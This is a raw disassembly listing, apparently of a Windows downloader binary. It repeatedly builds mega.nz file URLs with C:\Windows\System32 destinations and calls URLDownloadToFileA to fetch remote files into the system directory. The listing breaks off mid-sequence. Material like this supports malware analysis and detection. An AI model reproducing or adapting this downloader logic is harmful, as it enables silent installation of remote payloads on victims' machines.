lea rdx, str.https:__mega.nz_file_tOdi0RyTq0Q3Atwd70a1QPfdrdbh0ZdRJIghCyEhAAAAAAAAAAA
lea rcx, [rbp + 0x1a8]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x188], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x198], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x188]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x168], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x178], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_wXE3FJoKA5Pn4SokL7X8vNQVhFyFEsToW_DcdNbWAAAAAAAAAAA
lea rcx, [rbp + 0x168]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x148], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x158], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x148]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x128], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x138], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_Fb1C1YYR1tzhVrVHiyp8rPSEeaJdttJ_nh0WVoU_AAAAAAAAAAA
lea rcx, [rbp + 0x128]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x108], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x118], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x108]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xe8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf8], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_sb1n1TBRmAJ1FlnWZHJiUZoCwQHvmErEqP0YRokIAAAAAAAAAAA
lea rcx, [rbp + 0xe8]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xc8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xd8], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0xc8]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xa8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xb8], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_1X1mWZoYkaOtoYlPUH_ngO_golwa_NdS4eID98rfAAAAAAAAAAA
lea rcx, [rbp + 0xa8]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x88], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x98], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x88]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x78], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_Ib1gibBJt11ccZMAVgRD2zqtrXvywnc99FlhJouGAAAAAAAAAAA
lea rcx, [rbp + 0x68]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x58], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x48]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x28], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x38], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_dGkVQADZolXHFm_dvlymw6US02JDZ24qB2VphVp_AAAAAAAAAAA
lea rcx, [rbp + 0x28]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x18], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 8]
call fcn.1400187b0
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 8], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_NKlAXTgQ4BBxT1SzD2xp9TiXgGbntgygdyvUGKiBAAAAAAAAAAA
lea rcx, [rbp - 0x18]
call fcn.1400187b0
nop
lea rcx, [rbp - 0x38]
call fcn.14000e3c0
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x28], xmm0
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp - 0x38]
call fcn.1400187b0
nop
lea rdx, str.https:__mega.nz_file_UfVRGCRYY12EmfjoYrRw3DW8moD6UguiYU6FOpkwAAAAAAAAAAA
lea rcx, [rbp + 0x1768]
call fcn.14000a850
nop
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x1748]
call fcn.14000a850
nop
lea rdx, str.https:__mega.nz_file_lC9hlIDaMwuq8U2rzxEXGQqfEhUT_mVYC3JUXN9WAAAAAAAAAAA
lea rcx, [rbp + 0x1728]
call fcn.14000a850
nop
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x1708]
call fcn.14000a850
nop
lea rdx, str.https:__mega.nz_file_pTFQkRxSmIQAq5AFxNG3hegsZHSD_t7nvmnF5drvAAAAAAAAAAA
lea rcx, [rbp + 0x16e8]
call fcn.14000a850
nop
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x16c8]
call fcn.14000a850
nop
lea rdx, str.https:__mega.nz_file_ta1VRbZTileNxKELht2IJ_xEnPZajMoPsotqnW49AAAAAAAAAAA
lea rcx, [rbp + 0x16a8]
call fcn.14000a850
nop
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp - 0x78]
call fcn.14000a850
nop
lea rdx, str.https:__mega.nz_file_Ey1XGR4JioJZtPPZo8ga5ZX31SUFmz8VeHBcS1_DAAAAAAAAAAA
lea rcx, [rbp + 0x1688]
call fcn.14000a850
nop
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x1828]
call fcn.14000a850
nop
lea rdx, str.https:__mega.nz_file_k3ty1ThCioJZtPPZo8ga5ZX31SUFmz8VeHBcS1_DAAAAAAAAAAA
lea rcx, [rbp + 0x1668]
call fcn.14000a850
nop
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x1808]
call fcn.14000a850
nop
lea rdx, str.https:__mega.nz_file_kiNyQKaAioJZtPPZo8ga5ZX31SUFmz8VeHBcS1_DAAAAAAAAAAA
lea rcx, [rbp + 0x1648]
call fcn.14000a850
nop
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x17e8]
call fcn.14000a850
nop
lea rdx, str.https:__mega.nz_file_JqN3mToSioJZtPPZo8ga5ZX31SUFmz8VeHBcS1_DAAAAAAAAAAA
lea rcx, [rbp + 0x1628]
call fcn.14000a850
nop
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x17c8]
call fcn.14000a850
nop
lea rdx, str.https:__mega.nz_file_h391DA4SioJZtPPZo8ga5ZX31SUFmz8VeHBcS1_DAAAAAAAAAAA
lea rcx, [rbp + 0x1608]
call fcn.14000a850
nop
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x17a8]
call fcn.14000a850
nop
lea rdx, str.https:__mega.nz_file_NmtVQI6TioJZtPPZo8ga5ZX31SUFmz8VeHBcS1_DAAAAAAAAAAA
lea rcx, [rbp + 0x15e8]
call fcn.14000a850
nop
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x1788]
call fcn.14000a850
nop
lea rcx, [rbp + 0x15c8]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp - 0x58]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x1588]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x15a8]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x1548]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x1568]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x1508]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x1528]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x14c8]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x14e8]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x1488]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x14a8]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x1448]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x1468]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x1408]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x1428]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x13c8]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x13e8]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x1388]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x13a8]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x1348]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x1368]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x1308]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x1328]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x12c8]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x12e8]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x1288]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x12a8]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x1248]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x1268]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x1208]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x1228]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x11c8]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x11e8]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x1188]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x11a8]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x1148]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x1168]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x1108]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x1128]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x10c8]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x10e8]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x1088]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x10a8]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x1048]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x1068]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x1008]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x1028]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0xfc8]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0xfe8]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0xf88]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0xfa8]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0xf48]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0xf68]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0xf08]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0xf28]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0xec8]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0xee8]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0xe88]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0xea8]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0xe48]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0xe68]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0xe08]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0xe28]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0xdc8]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0xde8]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0xd88]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0xda8]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0xd48]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0xd68]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0xd08]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0xd28]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0xcc8]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0xce8]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0xc88]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0xca8]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0xc48]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0xc68]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0xc08]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0xc28]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0xbc8]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0xbe8]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0xb88]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0xba8]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0xb48]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0xb68]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0xb08]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0xb28]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0xac8]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0xae8]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0xa88]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0xaa8]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0xa48]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0xa68]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0xa08]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0xa28]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x9c8]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x9e8]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x988]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x9a8]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x948]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x968]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x908]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x928]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x8c8]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x8e8]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x888]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x8a8]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x848]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x868]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x808]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x828]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x7c8]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x7e8]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x788]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x7a8]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x748]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x768]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x708]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x728]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x6c8]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x6e8]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x688]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x6a8]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x648]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x668]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x608]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x628]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x5c8]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x5e8]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x588]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x5a8]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x548]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x568]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x508]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x528]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x4c8]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x4e8]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x488]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x4a8]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x448]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x468]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x408]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x428]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x3c8]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x3e8]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x388]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x3a8]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x348]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x368]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x308]
call fcn.14000a630
mov rdi, rax
lea rcx, [rbp + 0x328]
call fcn.14000a630
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, [rbp + 0x2c8]
call fcn.14000a630
mov rdi, rax
